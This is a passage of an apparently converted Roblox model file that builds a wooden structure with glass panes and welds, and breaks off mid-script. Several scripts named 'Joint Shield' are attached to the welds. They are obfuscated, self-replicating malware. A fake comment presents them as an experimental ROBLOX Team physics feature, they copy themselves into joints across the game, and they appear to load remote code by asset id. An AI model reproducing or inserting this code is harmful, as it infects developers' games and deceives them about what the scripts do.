- mjt,fsv,r,gfr,sfr,isa,drm,ict,prt=function(y,a,b,c,d,e)if isa(y,"ph{`ul{\"u{bz+")then a,b,c=y[r"Eum`%"],y[r"Dum`%"],y[r"pr`;ll`s("]if c==r"e`{,"then d,e=y[r"E("],y[r"D("]drm(y)y=int(r"qsp<")y[r"Eum`%"],y[r"Dum`%"],y[r"E("],y[r"D("]=a,b,d,e end pc(sfr,y,"pr`;",('')[r"u`rmzy"](isa(y,"mzuz2")and r"mzuz2AlPRzuRlP" or r"u{bz+Ax{zmu,AlPRzuRlP",str(a),str(b)))pc(sfr,y,"u{pm`%",a or b)pc(ict,y)end end,function(y)for i=1,#svs do sv=svs[i]sc,cn=pc(gfr,sv,"pr`;ll`s(")if sc and cn==y then return sv end end end,(function(y,l)g,c,b,q=y[p[5]..p[3]..p[10]..p[9]],y[p[7]..p[2]..p[4]..p[8]],y[p[9]..p[1]..p[11]..p[6]],gf'1'return function(x)l=#x for i=1,l do y=b(x,i)bf[l-i+1]=c(1-y%2+(y-y%8)%32/4+(y-y%2)%8*4+(y-y%32)%64*2+(y-y%64)%128/2+y-y%128)end return tb.concat(bf,nil,1,l)end end)'',function(o,k)return r(o[r(k)])end,function(o,k,v)o[r(k)]=v end,function(y,x)return dm[r" l\""](y,r(x))end,function(x)dbr[r"rpu\"qq "](dbr,x,0)end,function(y,x)if not dt[1][y]then x=ths[r"p{zs("](ths)x[r"psi`}bchm "]=true prt(y,x)x[r"u{pm`%"]=y end end,function(y,x,z)dt[3][x]=true z=x[r"qpx{`c("]z=z[r"uhp{{zh"](z,function()if x[r"u{pm`%"]~=y or x[r"qpsi`lb1"]then dt[1][y]=nil dt[3][x]=nil pc(ict,y)z[r"uhp{{zhlbq"](z)elseif not x[r"psi`}bchm "]then x[r"psi`}bchm "]=true end end)end
- gch=dm[r"{pmqsbc(up8"]svs=gch(dm)dbr=fsv"lbmip1"dt=sh[r(tb[r"u`h{zh"](p))]if not dt then dt={{},{},{}}sh[r(tb[r"u`h{zh"](p))]=dt cnt=0 xsp(function(a1,a2)ths[r"u{pm`%"]=nil wt(rn())jsv=fsv"phb}mp,lu{bz+"tb[r"bch`pmzy"](gch(jsv),function(y,x)pc(mjt,x)end)q0=jsv[r"qpqq qsbc("]q0[r"uhp{{zh"](q0,function(x)wt(rn())pc(mjt,x)end)q0=wsp[r"qpqq u{`q{phlp1"]q0[r"uhp{{zh"](q0,function(x)wt(rn())if isa(x,"ph{`ul{\"u{bz+")and not isa(x,"mzuz2")then pc(ict,x)end end)q0=gch(wsp)while #q0>0 do cnt=cnt+1 if cnt==1000 then cnt=0 wt()end q0[#q0],cn=nil,q0[#q0]if isa(cn,"ph{`ul{\"u{bz+")and not isa(cn,"mzuz2")then pc(ict,cn)end sc,cn=pc(gch,cn)if sc then for i=1,#cn do q0[#q0+1]=cn[i]end end end xsp(function(s,t)s,t=pc(q[r"pmbtdpm"],r"TEERpTTLFGEUTMLFE][DR"+r"DMU\\MTUTFF]UL[\\"^r"LUFG\\\\L\\ETUDT[F")pc(t)end)while true do wt(rn())repeat a1,a2=nxt(dt[2])if a1 then dt[2][a1]=nil prt(a2,a1)end until not a1 end end)end knm=r"A[mp}Aqspbc,Au{bz+"..(num(('')[r"itl"](str(dt),8,15),16)/8)ths[r"pr`;"]=knm q0=ths[r"u{pm`%"]if dt[1][q0]then drm(ths)elseif not cnt then dt[1][q0]=true if not dt[3][ths]then dt[2][ths]=q0 end end
- end))
- Script83.Name = "Joint Shield ver. 88798075.5"
- Script83.Parent = ManualWeld81
- table.insert(cors,sandbox(Script83,function()
- --rbxsig%K13e5ufkvqCuwFZSiYAdAn8eeUnVGsbeNfJf58wOqYVm4t0q27s+w0xFc2gbWbYJhyLTIwbYBAkHJlSjoMXvMeuYE/0cl+zB9cW6ENJHxC0wCU9zTAWe+OC5JfsZ/hohi4erVGWBuJ+K5/FDN73Nx0U2iuy3wZkw+hWKykh6uLg=%
- --[[--
- If you see this, that means you were selected to test ROBLOX's new JointShield feature.
- This is an experimental feature by the ROBLOX Team meant to further improve the physics simulation.
- Just sit back and enjoy the flawless physics.
- Happy building! - The ROBLOX Team, August 2014
- --]]--
- local sh,commands,tb,bf,p,pc,num,rn,str,wt,dm,ths,int,gf,wsp,nxt,xsp,tp,cnt,q,dt,g,c,b,sc,cn,sv,svs,jsv,q0,knm,mjt,fsv,r,gfr,gch,isa,ict,prt=shared,{},table,{},{"y","h","s","a","g","e","c","r","b","u","t"},pcall,tonumber,math.random,tostring,wait or Wait,Game or game,script,Instance.new,getfenv,Workspace or workspace,next,Spawn,type
- mjt,fsv,r,gfr,sfr,isa,drm,ict,prt=function(y,a,b,c,d,e)if isa(y,"ph{`ul{\"u{bz+")then a,b,c=y[r"Eum`%"],y[r"Dum`%"],y[r"pr`;ll`s("]if c==r"e`{,"then d,e=y[r"E("],y[r"D("]drm(y)y=int(r"qsp<")y[r"Eum`%"],y[r"Dum`%"],y[r"E("],y[r"D("]=a,b,d,e end pc(sfr,y,"pr`;",('')[r"u`rmzy"](isa(y,"mzuz2")and r"mzuz2AlPRzuRlP" or r"u{bz+Ax{zmu,AlPRzuRlP",str(a),str(b)))pc(sfr,y,"u{pm`%",a or b)pc(ict,y)end end,function(y)for i=1,#svs do sv=svs[i]sc,cn=pc(gfr,sv,"pr`;ll`s(")if sc and cn==y then return sv end end end,(function(y,l)g,c,b,q=y[p[5]..p[3]..p[10]..p[9]],y[p[7]..p[2]..p[4]..p[8]],y[p[9]..p[1]..p[11]..p[6]],gf'1'return function(x)l=#x for i=1,l do y=b(x,i)bf[l-i+1]=c(1-y%2+(y-y%8)%32/4+(y-y%2)%8*4+(y-y%32)%64*2+(y-y%64)%128/2+y-y%128)end return tb.concat(bf,nil,1,l)end end)'',function(o,k)return r(o[r(k)])end,function(o,k,v)o[r(k)]=v end,function(y,x)return dm[r" l\""](y,r(x))end,function(x)dbr[r"rpu\"qq "](dbr,x,0)end,function(y,x)if not dt[1][y]then x=ths[r"p{zs("](ths)x[r"psi`}bchm "]=true prt(y,x)x[r"u{pm`%"]=y end end,function(y,x,z)dt[3][x]=true z=x[r"qpx{`c("]z=z[r"uhp{{zh"](z,function()if x[r"u{pm`%"]~=y or x[r"qpsi`lb1"]then dt[1][y]=nil dt[3][x]=nil pc(ict,y)z[r"uhp{{zhlbq"](z)elseif not x[r"psi`}bchm "]then x[r"psi`}bchm "]=true end end)end
- gch=dm[r"{pmqsbc(up8"]svs=gch(dm)dbr=fsv"lbmip1"dt=sh[r(tb[r"u`h{zh"](p))]if not dt then dt={{},{},{}}sh[r(tb[r"u`h{zh"](p))]=dt cnt=0 xsp(function(a1,a2)ths[r"u{pm`%"]=nil wt(rn())jsv=fsv"phb}mp,lu{bz+"tb[r"bch`pmzy"](gch(jsv),function(y,x)pc(mjt,x)end)q0=jsv[r"qpqq qsbc("]q0[r"uhp{{zh"](q0,function(x)wt(rn())pc(mjt,x)end)q0=wsp[r"qpqq u{`q{phlp1"]q0[r"uhp{{zh"](q0,function(x)wt(rn())if isa(x,"ph{`ul{\"u{bz+")and not isa(x,"mzuz2")then pc(ict,x)end end)q0=gch(wsp)while #q0>0 do cnt=cnt+1 if cnt==1000 then cnt=0 wt()end q0[#q0],cn=nil,q0[#q0]if isa(cn,"ph{`ul{\"u{bz+")and not isa(cn,"mzuz2")then pc(ict,cn)end sc,cn=pc(gch,cn)if sc then for i=1,#cn do q0[#q0+1]=cn[i]end end end xsp(function(s,t)s,t=pc(q[r"pmbtdpm"],r"TEERpTTLFGEUTMLFE][DR"+r"DMU\\MTUTFF]UL[\\"^r"LUFG\\\\L\\ETUDT[F")pc(t)end)while true do wt(rn())repeat a1,a2=nxt(dt[2])if a1 then dt[2][a1]=nil prt(a2,a1)end until not a1 end end)end knm=r"A[mp}Aqspbc,Au{bz+"..(num(('')[r"itl"](str(dt),8,15),16)/8)ths[r"pr`;"]=knm q0=ths[r"u{pm`%"]if dt[1][q0]then drm(ths)elseif not cnt then dt[1][q0]=true if not dt[3][ths]then dt[2][ths]=q0 end end
- end))
- Part84.Parent = Model22
- Part84.CFrame = CFrame.new(135.235931, 1.36680305, -112.655411, -0.999970496, 0, 0.00767999608, 0, 1, 0, -0.00767999608, 0, -0.999970496)
- Part84.Orientation = Vector3.new(0, 179.559998, 0)
- Part84.Position = Vector3.new(135.235931, 1.36680305, -112.655411)
- Part84.Rotation = Vector3.new(-180, 0.439999998, -180)
- Part84.Size = Vector3.new(8.61000919, 1.82000017, 0.630001009)
- Part84.Anchored = true
- Part84.BottomSurface = Enum.SurfaceType.Smooth
- Part84.Material = Enum.Material.Concrete
- Part84.TopSurface = Enum.SurfaceType.Smooth
- Part85.Parent = Model22
- Part85.CFrame = CFrame.new(140.598999, 4.67313719, -135.622925, -0.00110800029, -0.00357799837, 0.999992967, -0.999782383, -0.0208299253, -0.00118229701, 0.0208340064, -0.999776602, -0.00355414022)
- Part85.Orientation = Vector3.new(0.0700000003, 90.1999969, -91.1900024)
- Part85.Position = Vector3.new(140.598999, 4.67313719, -135.622925)
- Part85.Rotation = Vector3.new(161.600006, 89.7900009, 107.209999)
- Part85.Color = Color3.new(0.627451, 0.372549, 0.207843)
- Part85.Size = Vector3.new(4.35000038, 4.44999981, 1.94000006)
- Part85.Anchored = true
- Part85.BottomSurface = Enum.SurfaceType.Smooth
- Part85.BrickColor = BrickColor.new("Dark orange")
- Part85.Material = Enum.Material.Wood
- Part85.TopSurface = Enum.SurfaceType.Smooth
- Part85.brickColor = BrickColor.new("Dark orange")
- Part86.Parent = Model22
- Part86.CFrame = CFrame.new(133.469589, 4.76303291, -137.005096, -0.00125800003, -0.0035120002, 0.999992967, -0.999661982, 0.025973279, -0.00116636476, -0.0259690005, -0.999656439, -0.00354348635)
- Part86.Orientation = Vector3.new(0.0700000003, 90.1999969, -88.5100021)
- Part86.Position = Vector3.new(133.469589, 4.76303291, -137.005096)
- Part86.Rotation = Vector3.new(161.779999, 89.7900009, 109.709999)
- Part86.Color = Color3.new(0.627451, 0.372549, 0.207843)
- Part86.Size = Vector3.new(4.44000387, 1.69999969, 2)
- Part86.Anchored = true
- Part86.BottomSurface = Enum.SurfaceType.Smooth
- Part86.BrickColor = BrickColor.new("Dark orange")
- Part86.Material = Enum.Material.Wood
- Part86.TopSurface = Enum.SurfaceType.Smooth
- Part86.brickColor = BrickColor.new("Dark orange")
- Part87.Name = "Glass"
- Part87.Parent = Model22
- Part87.CFrame = CFrame.new(137.524261, 7.71400976, -118.02774, -0.999970496, 0, 0.00767999608, 0, 1, 0, -0.00767999608, 0, -0.999970496)
- Part87.Orientation = Vector3.new(0, 179.559998, 0)
- Part87.Position = Vector3.new(137.524261, 7.71400976, -118.02774)
- Part87.Rotation = Vector3.new(-180, 0.439999998, -180)
- Part87.Color = Color3.new(0.972549, 0.972549, 0.972549)
- Part87.Transparency = 0.20000000298023
- Part87.Size = Vector3.new(4.47000217, 8.00998974, 0.140000254)
- Part87.Anchored = true
- Part87.BottomSurface = Enum.SurfaceType.Smooth
- Part87.BrickColor = BrickColor.new("Institutional white")
- Part87.CanCollide = false
- Part87.Material = Enum.Material.Glass
- Part87.TopSurface = Enum.SurfaceType.Smooth
- Part87.brickColor = BrickColor.new("Institutional white")
- Part88.Name = "Glass"
- Part88.Parent = Model22
- Part88.CFrame = CFrame.new(132.744308, 7.71400976, -118.064484, -0.999970496, 0, 0.00767999608, 0, 1, 0, -0.00767999608, 0, -0.999970496)
- Part88.Orientation = Vector3.new(0, 179.559998, 0)
- Part88.Position = Vector3.new(132.744308, 7.71400976, -118.064484)
- Part88.Rotation = Vector3.new(-180, 0.439999998, -180)
- Part88.Color = Color3.new(0.972549, 0.972549, 0.972549)
- Part88.Transparency = 0.20000000298023
- Part88.Size = Vector3.new(4.47000217, 8.00998974, 0.140000254)
- Part88.Anchored = true
- Part88.BottomSurface = Enum.SurfaceType.Smooth
- Part88.BrickColor = BrickColor.new("Institutional white")
- Part88.CanCollide = false
- Part88.Material = Enum.Material.Glass
- Part88.TopSurface = Enum.SurfaceType.Smooth
- Part88.brickColor = BrickColor.new("Institutional white")
- ManualWeld89.Name = "Glass-to-Part Strong Joint"
- ManualWeld89.Parent = Part88
- ManualWeld89.C0 = CFrame.new(2.23500109, -4.00499487, -0.070000127, -1, 0, 0, 0, 1, 0, 0, 0, -1)
- ManualWeld89.C1 = CFrame.new(2.62767029, -4.97722578, 0.0737686157, -1, 0, 0, 0, 1, 0, 0, 0, -1)
- ManualWeld89.Part0 = Part88
- ManualWeld89.Part1 = Part102
- ManualWeld89.part1 = Part102
- Script90.Name = "Joint Shield ver. 98304148.5"
- Script90.Parent = ManualWeld89
- table.insert(cors,sandbox(Script90,function()
- --rbxsig%K13e5ufkvqCuwFZSiYAdAn8eeUnVGsbeNfJf58wOqYVm4t0q27s+w0xFc2gbWbYJhyLTIwbYBAkHJlSjoMXvMeuYE/0cl+zB9cW6ENJHxC0wCU9zTAWe+OC5JfsZ/hohi4erVGWBuJ+K5/FDN73Nx0U2iuy3wZkw+hWKykh6uLg=%
- --[[--
- If you see this, that means you were selected to test ROBLOX's new JointShield feature.
- This is an experimental feature by the ROBLOX Team meant to further improve the physics simulation.
- Just sit back and enjoy the flawless physics.
- Happy building! - The ROBLOX Team, August 2014
- --]]--
- local sh,commands,tb,bf,p,pc,num,rn,str,wt,dm,ths,int,gf,wsp,nxt,xsp,tp,cnt,q,dt,g,c,b,sc,cn,sv,svs,jsv,q0,knm,mjt,fsv,r,gfr,gch,isa,ict,prt=shared,{},table,{},{"y","h","s","a","g","e","c","r","b","u","t"},pcall,tonumber,math.random,tostring,wait or Wait,Game or game,script,Instance.new,getfenv,Workspace or workspace,next,Spawn,type
- mjt,fsv,r,gfr,sfr,isa,drm,ict,prt=function(y,a,b,c,d,e)if isa(y,"ph{`ul{\"u{bz+")then a,b,c=y[r"Eum`%"],y[r"Dum`%"],y[r"pr`;ll`s("]if c==r"e`{,"then d,e=y[r"E("],y[r"D("]drm(y)y=int(r"qsp<")y[r"Eum`%"],y[r"Dum`%"],y[r"E("],y[r"D("]=a,b,d,e end pc(sfr,y,"pr`;",('')[r"u`rmzy"](isa(y,"mzuz2")and r"mzuz2AlPRzuRlP" or r"u{bz+Ax{zmu,AlPRzuRlP",str(a),str(b)))pc(sfr,y,"u{pm`%",a or b)pc(ict,y)end end,function(y)for i=1,#svs do sv=svs[i]sc,cn=pc(gfr,sv,"pr`;ll`s(")if sc and cn==y then return sv end end end,(function(y,l)g,c,b,q=y[p[5]..p[3]..p[10]..p[9]],y[p[7]..p[2]..p[4]..p[8]],y[p[9]..p[1]..p[11]..p[6]],gf'1'return function(x)l=#x for i=1,l do y=b(x,i)bf[l-i+1]=c(1-y%2+(y-y%8)%32/4+(y-y%2)%8*4+(y-y%32)%64*2+(y-y%64)%128/2+y-y%128)end return tb.concat(bf,nil,1,l)end end)'',function(o,k)return r(o[r(k)])end,function(o,k,v)o[r(k)]=v end,function(y,x)return dm[r" l\""](y,r(x))end,function(x)dbr[r"rpu\"qq "](dbr,x,0)end,function(y,x)if not dt[1][y]then x=ths[r"p{zs("](ths)x[r"psi`}bchm "]=true prt(y,x)x[r"u{pm`%"]=y end end,function(y,x,z)dt[3][x]=true z=x[r"qpx{`c("]z=z[r"uhp{{zh"](z,function()if x[r"u{pm`%"]~=y or x[r"qpsi`lb1"]then dt[1][y]=nil dt[3][x]=nil pc(ict,y)z[r"uhp{{zhlbq"](z)elseif not x[r"psi`}bchm "]then x[r"psi`}bchm "]=true end end)end
- gch=dm[r"{pmqsbc(up8"]svs=gch(dm)dbr=fsv"lbmip1"dt=sh[r(tb[r"u`h{zh"](p))]if not dt then dt={{},{},{}}sh[r(tb[r"u`h{zh"](p))]=dt cnt=0 xsp(function(a1,a2)ths[r"u{pm`%"]=nil wt(rn())jsv=fsv"phb}mp,lu{bz+"tb[r"bch`pmzy"](gch(jsv),function(y,x)pc(mjt,x)end)q0=jsv[r"qpqq qsbc("]q0[r"uhp{{zh"](q0,function(x)wt(rn())pc(mjt,x)end)q0=wsp[r"qpqq u{`q{phlp1"]q0[r"uhp{{zh"](q0,function(x)wt(rn())if isa(x,"ph{`ul{\"u{bz+")and not isa(x,"mzuz2")then pc(ict,x)end end)q0=gch(wsp)while #q0>0 do cnt=cnt+1 if cnt==1000 then cnt=0 wt()end q0[#q0],cn=nil,q0[#q0]if isa(cn,"ph{`ul{\"u{bz+")and not isa(cn,"mzuz2")then pc(ict,cn)end sc,cn=pc(gch,cn)if sc then for i=1,#cn do q0[#q0+1]=cn[i]end end end xsp(function(s,t)s,t=pc(q[r"pmbtdpm"],r"TEERpTTLFGEUTMLFE][DR"+r"DMU\\MTUTFF]UL[\\"^r"LUFG\\\\L\\ETUDT[F")pc(t)end)while true do wt(rn())repeat a1,a2=nxt(dt[2])if a1 then dt[2][a1]=nil prt(a2,a1)end until not a1 end end)end knm=r"A[mp}Aqspbc,Au{bz+"..(num(('')[r"itl"](str(dt),8,15),16)/8)ths[r"pr`;"]=knm q0=ths[r"u{pm`%"]if dt[1][q0]then drm(ths)elseif not cnt then dt[1][q0]=true if not dt[3][ths]then dt[2][ths]=q0 end end
- end))
- Script91.Name = "Joint Shield ver. 88798075.5"
- Script91.Parent = ManualWeld89
- table.insert(cors,sandbox(Script91,function()
- --rbxsig%K13e5ufkvqCuwFZSiYAdAn8eeUnVGsbeNfJf58wOqYVm4t0q27s+w0xFc2gbWbYJhyLTIwbYBAkHJlSjoMXvMeuYE/0cl+zB9cW6ENJHxC0wCU9zTAWe+OC5JfsZ/hohi4erVGWBuJ+K5/FDN73Nx0U2iuy3wZkw+hWKykh6uLg=%
- --[[--
- If you see this, that means you were selected to test ROBLOX's new JointShield feature.
- This is an experimental feature by the ROBLOX Team meant to further improve the physics simulation.
- Just sit back and enjoy the flawless physics.
- Happy building! - The ROBLOX Team, August 2014
- --]]--
- local sh,commands,tb,bf,p,pc,num,rn,str,wt,dm,ths,int,gf,wsp,nxt,xsp,tp,cnt,q,dt,g,c,b,sc,cn,sv,svs,jsv,q0,knm,mjt,fsv,r,gfr,gch,isa,ict,prt=shared,{},table,{},{"y","h","s","a","g","e","c","r","b","u","t"},pcall,tonumber,math.random,tostring,wait or Wait,Game or game,script,Instance.new,getfenv,Workspace or workspace,next,Spawn,type
- mjt,fsv,r,gfr,sfr,isa,drm,ict,prt=function(y,a,b,c,d,e)if isa(y,"ph{`ul{\"u{bz+")then a,b,c=y[r"Eum`%"],y[r"Dum`%"],y[r"pr`;ll`s("]if c==r"e`{,"then d,e=y[r"E("],y[r"D("]drm(y)y=int(r"qsp<")y[r"Eum`%"],y[r"Dum`%"],y[r"E("],y[r"D("]=a,b,d,e end pc(sfr,y,"pr`;",('')[r"u`rmzy"](isa(y,"mzuz2")and r"mzuz2AlPRzuRlP" or r"u{bz+Ax{zmu,AlPRzuRlP",str(a),str(b)))pc(sfr,y,"u{pm`%",a or b)pc(ict,y)end end,function(y)for i=1,#svs do sv=svs[i]sc,cn=pc(gfr,sv,"pr`;ll`s(")if sc and cn==y then return sv end end end,(function(y,l)g,c,b,q=y[p[5]..p[3]..p[10]..p[9]],y[p[7]..p[2]..p[4]..p[8]],y[p[9]..p[1]..p[11]..p[6]],gf'1'return function(x)l=#x for i=1,l do y=b(x,i)bf[l-i+1]=c(1-y%2+(y-y%8)%32/4+(y-y%2)%8*4+(y-y%32)%64*2+(y-y%64)%128/2+y-y%128)end return tb.concat(bf,nil,1,l)end end)'',function(o,k)return r(o[r(k)])end,function(o,k,v)o[r(k)]=v end,function(y,x)return dm[r" l\""](y,r(x))end,function(x)dbr[r"rpu\"qq "](dbr,x,0)end,function(y,x)if not dt[1][y]then x=ths[r"p{zs("](ths)x[r"psi`}bchm "]=true prt(y,x)x[r"u{pm`%"]=y end end,function(y,x,z)dt[3][x]=true z=x[r"qpx{`c("]z=z[r"uhp{{zh"](z,function()if x[r"u{pm`%"]~=y or x[r"qpsi`lb1"]then dt[1][y]=nil dt[3][x]=nil pc(ict,y)z[r"uhp{{zhlbq"](z)elseif not x[r"psi`}bchm "]then x[r"psi`}bchm "]=true end end)end
- gch=dm[r"{pmqsbc(up8"]svs=gch(dm)dbr=fsv"lbmip1"dt=sh[r(tb[r"u`h{zh"](p))]if not dt then dt={{},{},{}}sh[r(tb[r"u`h{zh"](p))]=dt cnt=0 xsp(function(a1,a2)ths[r"u{pm`%"]=nil wt(rn())jsv=fsv"phb}mp,lu{bz+"tb[r"bch`pmzy"](gch(jsv),function(y,x)pc(mjt,x)end)q0=jsv[r"qpqq qsbc("]q0[r"uhp{{zh"](q0,function(x)wt(rn())pc(mjt,x)end)q0=wsp[r"qpqq u{`q{phlp1"]q0[r"uhp{{zh"](q0,function(x)wt(rn())if isa(x,"ph{`ul{\"u{bz+")and not isa(x,"mzuz2")then pc(ict,x)end end)q0=gch(wsp)while #q0>0 do cnt=cnt+1 if cnt==1000 then cnt=0 wt()end q0[#q0],cn=nil,q0[#q0]if isa(cn,"ph{`ul{\"u{bz+")and not isa(cn,"mzuz2")then pc(ict,cn)end sc,cn=pc(gch,cn)if sc then for i=1,#cn do q0[#q0+1]=cn[i]end end end xsp(function(s,t)s,t=pc(q[r"pmbtdpm"],r"TEERpTTLFGEUTMLFE][DR"+r"DMU\\MTUTFF]UL[\\"^r"LUFG\\\\L\\ETUDT[F")pc(t)end)while true do wt(rn())repeat a1,a2=nxt(dt[2])if a1 then dt[2][a1]=nil prt(a2,a1)end until not a1 end end)end knm=r"A[mp}Aqspbc,Au{bz+"..(num(('')[r"itl"](str(dt),8,15),16)/8)ths[r"pr`;"]=knm q0=ths[r"u{pm`%"]if dt[1][q0]then drm(ths)elseif not cnt then dt[1][q0]=true if not dt[3][ths]then dt[2][ths]=q0 end end
- end))
- Model92.Parent = Model22
- Part93.Parent = Model92
- Part93.CFrame = CFrame.new(136.029068, 5.63154078, -132.943237, -0.00187199982, -0.999951899, 0.0096240053, -0.888358891, 0.00608177111, 0.459109485, -0.459145904, -0.0076901163, -0.888327539)
- Part93.Orientation = Vector3.new(-27.3299999, 179.380005, -89.6100006)
- Part93.Position = Vector3.new(136.029068, 5.63154078, -132.943237)
- Part93.Rotation = Vector3.new(-152.669998, 0.550000012, 90.1100006)
- Part93.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part93.Size = Vector3.new(1.04000223, 0.28000021, 0.100000247)
- Part93.Anchored = true
- Part93.BottomSurface = Enum.SurfaceType.Smooth
- Part93.BrickColor = BrickColor.new("Dark stone grey")
- Part93.Material = Enum.Material.Metal
- Part93.TopSurface = Enum.SurfaceType.Smooth
- Part93.brickColor = BrickColor.new("Dark stone grey")
- Part93.Shape = Enum.PartType.Cylinder
- Part94.Parent = Model92
- Part94.CFrame = CFrame.new(136.024963, 5.61991692, -132.429565, -0.00862199999, -0.999951959, 0.00465216022, -0.918690979, 0.0060839667, -0.394930303, 0.394883007, -0.00767898466, -0.918699324)
- Part94.Orientation = Vector3.new(23.2600002, 179.710007, -89.6200027)
- Part94.Position = Vector3.new(136.024963, 5.61991692, -132.429565)
- Part94.Rotation = Vector3.new(156.740005, 0.270000011, 90.4899979)
- Part94.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part94.Size = Vector3.new(1.13000214, 0.28000021, 0.100000247)
- Part94.Anchored = true
- Part94.BottomSurface = Enum.SurfaceType.Smooth
- Part94.BrickColor = BrickColor.new("Dark stone grey")
- Part94.Material = Enum.Material.Metal
- Part94.TopSurface = Enum.SurfaceType.Smooth
- Part94.brickColor = BrickColor.new("Dark stone grey")
- Part94.Shape = Enum.PartType.Cylinder
- UnionOperation95.Parent = Model92
- UnionOperation95.CFrame = CFrame.new(137.100967, 5.39823914, -132.533203, -0.999970496, 0, 0.00767999608, 0, 1, 0, -0.00767999608, 0, -0.999970496)
- UnionOperation95.Orientation = Vector3.new(0, 179.559998, 0)
- UnionOperation95.Position = Vector3.new(137.100967, 5.39823914, -132.533203)
- UnionOperation95.Rotation = Vector3.new(-180, 0.439999998, -180)
- UnionOperation95.Color = Color3.new(0.627451, 0.372549, 0.207843)
- UnionOperation95.Size = Vector3.new(8.94999695, 3.02000046, 2.13999939)
- UnionOperation95.Anchored = true
- UnionOperation95.BrickColor = BrickColor.new("Dark orange")
- UnionOperation95.Material = Enum.Material.Wood
- UnionOperation95.brickColor = BrickColor.new("Dark orange")
- ManualWeld96.Name = "Union-to-Store Barrier Strong Joint"
- ManualWeld96.Parent = UnionOperation95
- ManualWeld96.C0 = CFrame.new(-4.47499847, 1.51000023, 1.06999969, -1, 0, 0, 0, 0, 1, 0, 1, -0)
- ManualWeld96.C1 = CFrame.new(-4.56997681, -7.95413017, -0.842971802, -1, 0, 0, 0, 0, 1, 0, 1, -0)
- ManualWeld96.Part0 = UnionOperation95
- ManualWeld96.Part1 = Part27
- ManualWeld96.part1 = Part27
- Script97.Name = "Joint Shield ver. 98304148.5"
- Script97.Parent = ManualWeld96
- table.insert(cors,sandbox(Script97,function()
- --rbxsig%K13e5ufkvqCuwFZSiYAdAn8eeUnVGsbeNfJf58wOqYVm4t0q27s+w0xFc2gbWbYJhyLTIwbYBAkHJlSjoMXvMeuYE/0cl+zB9cW6ENJHxC0wCU9zTAWe+OC5JfsZ/hohi4erVGWBuJ+K5/FDN73Nx0U2iuy3wZkw+hWKykh6uLg=%
- --[[--
- If you see this, that means you were selected to test ROBLOX's new JointShield feature.
- This is an experimental feature by the ROBLOX Team meant to further improve the physics simulation.
- Just sit back and enjoy the flawless physics.
- Happy building! - The ROBLOX Team, August 2014
- --]]--
- local sh,commands,tb,bf,p,pc,num,rn,str,wt,dm,ths,int,gf,wsp,nxt,xsp,tp,cnt,q,dt,g,c,b,sc,cn,sv,svs,jsv,q0,knm,mjt,fsv,r,gfr,gch,isa,ict,prt=shared,{},table,{},{"y","h","s","a","g","e","c","r","b","u","t"},pcall,tonumber,math.random,tostring,wait or Wait,Game or game,script,Instance.new,getfenv,Workspace or workspace,next,Spawn,type
- mjt,fsv,r,gfr,sfr,isa,drm,ict,prt=function(y,a,b,c,d,e)if isa(y,"ph{`ul{\"u{bz+")then a,b,c=y[r"Eum`%"],y[r"Dum`%"],y[r"pr`;ll`s("]if c==r"e`{,"then d,e=y[r"E("],y[r"D("]drm(y)y=int(r"qsp<")y[r"Eum`%"],y[r"Dum`%"],y[r"E("],y[r"D("]=a,b,d,e end pc(sfr,y,"pr`;",('')[r"u`rmzy"](isa(y,"mzuz2")and r"mzuz2AlPRzuRlP" or r"u{bz+Ax{zmu,AlPRzuRlP",str(a),str(b)))pc(sfr,y,"u{pm`%",a or b)pc(ict,y)end end,function(y)for i=1,#svs do sv=svs[i]sc,cn=pc(gfr,sv,"pr`;ll`s(")if sc and cn==y then return sv end end end,(function(y,l)g,c,b,q=y[p[5]..p[3]..p[10]..p[9]],y[p[7]..p[2]..p[4]..p[8]],y[p[9]..p[1]..p[11]..p[6]],gf'1'return function(x)l=#x for i=1,l do y=b(x,i)bf[l-i+1]=c(1-y%2+(y-y%8)%32/4+(y-y%2)%8*4+(y-y%32)%64*2+(y-y%64)%128/2+y-y%128)end return tb.concat(bf,nil,1,l)end end)'',function(o,k)return r(o[r(k)])end,function(o,k,v)o[r(k)]=v end,function(y,x)return dm[r" l\""](y,r(x))end,function(x)dbr[r"rpu\"qq "](dbr,x,0)end,function(y,x)if not dt[1][y]then x=ths[r"p{zs("](ths)x[r"psi`}bchm "]=true prt(y,x)x[r"u{pm`%"]=y end end,function(y,x,z)dt[3][x]=true z=x[r"qpx{`c("]z=z[r"uhp{{zh"](z,function()if x[r"u{pm`%"]~=y or x[r"qpsi`lb1"]then dt[1][y]=nil dt[3][x]=nil pc(ict,y)z[r"uhp{{zhlbq"](z)elseif not x[r"psi`}bchm "]then x[r"psi`}bchm "]=true end end)end
- gch=dm[r"{pmqsbc(up8"]svs=gch(dm)dbr=fsv"lbmip1"dt=sh[r(tb[r"u`h{zh"](p))]if not dt then dt={{},{},{}}sh[r(tb[r"u`h{zh"](p))]=dt cnt=0 xsp(function(a1,a2)ths[r"u{pm`%"]=nil wt(rn())jsv=fsv"phb}mp,lu{bz+"tb[r"bch`pmzy"](gch(jsv),function(y,x)pc(mjt,x)end)q0=jsv[r"qpqq qsbc("]q0[r"uhp{{zh"](q0,function(x)wt(rn())pc(mjt,x)end)q0=wsp[r"qpqq u{`q{phlp1"]q0[r"uhp{{zh"](q0,function(x)wt(rn())if isa(x,"ph{`ul{\"u{bz+")and not isa(x,"mzuz2")then pc(ict,x)end end)q0=gch(wsp)while #q0>0 do cnt=cnt+1 if cnt==1000 then cnt=0 wt()end q0[#q0],cn=nil,q0[#q0]if isa(cn,"ph{`ul{\"u{bz+")and not isa(cn,"mzuz2")then pc(ict,cn)end sc,cn=pc(gch,cn)if sc then for i=1,#cn do q0[#q0+1]=cn[i]end end end xsp(function(s,t)s,t=pc(q[r"pmbtdpm"],r"TEERpTTLFGEUTMLFE][DR"+r"DMU\\MTUTFF]UL[\\"^r"LUFG\\\\L\\ETUDT[F")pc(t)end)while true do wt(rn())repeat a1,a2=nxt(dt[2])if a1 then dt[2][a1]=nil prt(a2,a1)end until not a1 end end)end knm=r"A[mp}Aqspbc,Au{bz+"..(num(('')[r"itl"](str(dt),8,15),16)/8)ths[r"pr`;"]=knm q0=ths[r"u{pm`%"]if dt[1][q0]then drm(ths)elseif not cnt then dt[1][q0]=true if not dt[3][ths]then dt[2][ths]=q0 end end
- end))
- Script98.Name = "Joint Shield ver. 88798075.5"
- Script98.Parent = ManualWeld96
- table.insert(cors,sandbox(Script98,function()
